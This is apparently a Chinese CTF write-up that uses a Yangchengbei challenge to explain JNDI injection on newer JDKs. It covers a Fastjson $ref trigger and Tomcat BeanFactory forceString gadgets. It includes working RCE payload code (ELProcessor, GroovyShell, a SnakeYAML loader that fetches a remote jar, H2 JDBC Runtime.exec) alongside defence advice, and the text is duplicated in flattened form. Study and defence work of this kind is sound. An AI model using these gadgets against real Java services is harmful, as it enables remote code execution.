从羊城杯一道题学习高版本JDK下JNDI的利用
字数 2013 2025-08-06 18:07:40

高版本JDK下JNDI利用技术研究

0x01 背景介绍

在Java安全领域,JNDI注入是一种常见的攻击方式。随着JDK版本的更新,Oracle逐步加强了JNDI的安全限制,使得传统的利用方式在高版本JDK中失效。本文将从一道羊城杯CTF题目出发,详细分析高版本JDK下JNDI的利用技术。

0x02 题目分析

漏洞点分析

题目提供了一个Spring Boot应用,关键控制器代码如下:

@PostMapping({"/post"})
public String postApiTest(HttpServletRequest request) {
    ServletInputStream inputStream = null;
    String jsonStr = null;
    try {
        inputStream = request.getInputStream();
        StringBuffer stringBuffer = new StringBuffer();
        byte[] buf = new byte[1024];
        boolean var6 = false;
        int len;
        while ((len = inputStream.read(buf)) != -1) {
            stringBuffer.append(new String(buf, 0, len));
        }
        inputStream.close();
        jsonStr = stringBuffer.toString();
        return ((Message)JSON.parseObject(jsonStr, Message.class)).toString();
    } catch (IOException var7) {
        var7.printStackTrace();
        return "Test fail";
    }
}

关键点:

  • 使用Fastjson 1.2.83解析用户输入的JSON
  • 虽然Fastjson版本较新,但存在自定义的JNDIService

JNDIService类分析

@JSONType
public class JNDIService {
    private String target;
    private Context context;
    
    public JNDIService() {}
    
    public void setTarget(String target) {
        this.target = target;
    }
    
    public Context getContext() throws NamingException {
        if (this.context == null) {
            this.context = new InitialContext();
        }
        this.context.lookup(this.target);
        return this.context;
    }
}

利用链:

  1. JSON解析时会调用setTarget设置target
  2. "msg":{"$ref":"$.content.context"}会触发getContext方法
  3. getContext中执行InitialContext.lookup,触发JNDI注入

0x03 JNDI利用技术演进

低版本JDK利用方式

方式一:RMI Codebase加载

  • 流程:

    1. RMI客户端通过rmi://host:port/xxx获取Stub
    2. 如果本地没有Stub类定义,会从远程Codebase加载
    3. 攻击者可控制Codebase指向恶意类
  • 限制:

    • JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly默认为true
    • 仅从CLASSPATH和当前VM的java.rmi.server.codebase加载类

方式二:JNDI References

  • 流程:

    1. 服务端通过Referenceable.getReference()保存对象引用
    2. 客户端请求时返回References
    3. 客户端从References指定的Factory加载类
  • 限制:

    • JDK 6u132, 7u122, 8u113中:
      • com.sun.jndi.rmi.object.trustURLCodebase
      • com.sun.jndi.cosnaming.object.trustURLCodebase
      • 默认值变为false,禁止远程加载Factory类

方式三:LDAP服务

  • 特点:

    • LDAP也支持返回JNDI Reference对象
    • 通过URLClassLoader而非RMI Class loading加载类
    • 最初不受trustURLCodebase限制
  • 限制:

    • JDK 11.0.1、8u191、7u201、6u211后:
      • com.sun.jndi.ldap.object.trustURLCodebase默认false

0x04 高版本JDK利用技术

利用条件

  1. 使用CLASSPATH中的ObjectFactory类:

    • 实现javax.naming.spi.ObjectFactory接口
    • 存在getObjectInstance方法
  2. 反序列化gadget:

    • 通过LDAP的javaSerializedData属性传递

关键利用类:BeanFactory

Tomcat中的org.apache.naming.factory.BeanFactory满足要求:

  1. 通过反射实例化Reference指向的Bean Class
  2. 调用setter方法为所有属性赋值
  3. 要求传入的Reference为ResourceRef

利用限制

BeanClass要求:

  1. 有无参构造方法
  2. setter方法必须为public且参数为一个String类型

forceString参数

关键突破点:

  • 可以强制将setter方法调用转换为任意方法调用
  • 格式示例:x1=a,x2=b,x3=c
    • 表示将setX1强制转换为调用a方法

0x05 可用攻击类分析

1. javax.el.ELProcessor#eval

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','open /Applications/Calculator.app']).start()\")"));

2. groovy.lang.GroovyShell#evaluate

ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", "println 'Hello World.'"));

3. org.yaml.snakeyaml.Yaml#load

ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
              " !!java.net.URLClassLoader [[\n" +
              " !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
              " ]]\n" +
              "]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));

需要配合yaml-payload项目生成恶意jar

4. com.thoughtworks.xstream.XStream#fromXML

ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));

5. 数据库连接池利用

以Tomcat JDBC为例:

private static Reference tomcat_JDBC_RCE() {
    Reference ref = new Reference("javax.sql.DataSource", "org.apache.tomcat.jdbc.pool.DataSourceFactory", null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                     "INFORMATION_SCHEMA.TABLES AS 
$$
//javascript\n" +
                     "java.lang.Runtime.getRuntime().exec('calc')\n" +
                     "
$$
\n";
    ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
    ref.add(new StringRefAddr("url", JDBC_URL));
    ref.add(new StringRefAddr("username", "root"));
    ref.add(new StringRefAddr("password", "password"));
    ref.add(new StringRefAddr("initialSize", "1"));
    return ref;
}

0x06 防御建议

  1. 升级JDK到最新版本
  2. 限制JNDI查找的协议和地址
  3. 设置系统属性限制远程加载:
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    
  4. 对反序列化操作进行严格校验

0x07 总结

高版本JDK下JNDI利用的核心思路:

  1. 利用CLASSPATH中已有的ObjectFactory类
  2. 通过BeanFactory的forceString特性转换方法调用
  3. 寻找合适的类和方法链完成RCE

随着JDK版本的更新,JNDI注入的利用条件越来越苛刻,但通过深入研究仍能找到可利用的攻击面。防御方需要全面了解攻击技术,才能构建有效的防护体系。

高版本JDK下JNDI利用技术研究 0x01 背景介绍 在Java安全领域,JNDI注入是一种常见的攻击方式。随着JDK版本的更新,Oracle逐步加强了JNDI的安全限制,使得传统的利用方式在高版本JDK中失效。本文将从一道羊城杯CTF题目出发,详细分析高版本JDK下JNDI的利用技术。 0x02 题目分析 漏洞点分析 题目提供了一个Spring Boot应用,关键控制器代码如下: 关键点: 使用Fastjson 1.2.83解析用户输入的JSON 虽然Fastjson版本较新,但存在自定义的 JNDIService 类 JNDIService类分析 利用链: JSON解析时会调用 setTarget 设置target "msg":{"$ref":"$.content.context"} 会触发 getContext 方法 getContext 中执行 InitialContext.lookup ,触发JNDI注入 0x03 JNDI利用技术演进 低版本JDK利用方式 方式一:RMI Codebase加载 流程: RMI客户端通过 rmi://host:port/xxx 获取Stub 如果本地没有Stub类定义,会从远程Codebase加载 攻击者可控制Codebase指向恶意类 限制: JDK 6u45、7u21开始, java.rmi.server.useCodebaseOnly 默认为true 仅从CLASSPATH和当前VM的 java.rmi.server.codebase 加载类 方式二:JNDI References 流程: 服务端通过 Referenceable.getReference() 保存对象引用 客户端请求时返回References 客户端从References指定的Factory加载类 限制: JDK 6u132, 7u122, 8u113中: com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 默认值变为false,禁止远程加载Factory类 方式三:LDAP服务 特点: LDAP也支持返回JNDI Reference对象 通过URLClassLoader而非RMI Class loading加载类 最初不受 trustURLCodebase 限制 限制: JDK 11.0.1、8u191、7u201、6u211后: com.sun.jndi.ldap.object.trustURLCodebase 默认false 0x04 高版本JDK利用技术 利用条件 使用CLASSPATH中的ObjectFactory类: 实现 javax.naming.spi.ObjectFactory 接口 存在 getObjectInstance 方法 反序列化gadget: 通过LDAP的 javaSerializedData 属性传递 关键利用类:BeanFactory Tomcat中的 org.apache.naming.factory.BeanFactory 满足要求: 通过反射实例化Reference指向的Bean Class 调用setter方法为所有属性赋值 要求传入的Reference为 ResourceRef 类 利用限制 BeanClass要求: 有无参构造方法 setter方法必须为public且参数为一个String类型 forceString参数 关键突破点: 可以强制将setter方法调用转换为任意方法调用 格式示例: x1=a,x2=b,x3=c 表示将 setX1 强制转换为调用 a 方法 0x05 可用攻击类分析 1. javax.el.ELProcessor#eval 2. groovy.lang.GroovyShell#evaluate 3. org.yaml.snakeyaml.Yaml#load 需要配合 yaml-payload 项目生成恶意jar 4. com.thoughtworks.xstream.XStream#fromXML 5. 数据库连接池利用 以Tomcat JDBC为例: 0x06 防御建议 升级JDK到最新版本 限制JNDI查找的协议和地址 设置系统属性限制远程加载: 对反序列化操作进行严格校验 0x07 总结 高版本JDK下JNDI利用的核心思路: 利用CLASSPATH中已有的ObjectFactory类 通过BeanFactory的forceString特性转换方法调用 寻找合适的类和方法链完成RCE 随着JDK版本的更新,JNDI注入的利用条件越来越苛刻,但通过深入研究仍能找到可利用的攻击面。防御方需要全面了解攻击技术,才能构建有效的防护体系。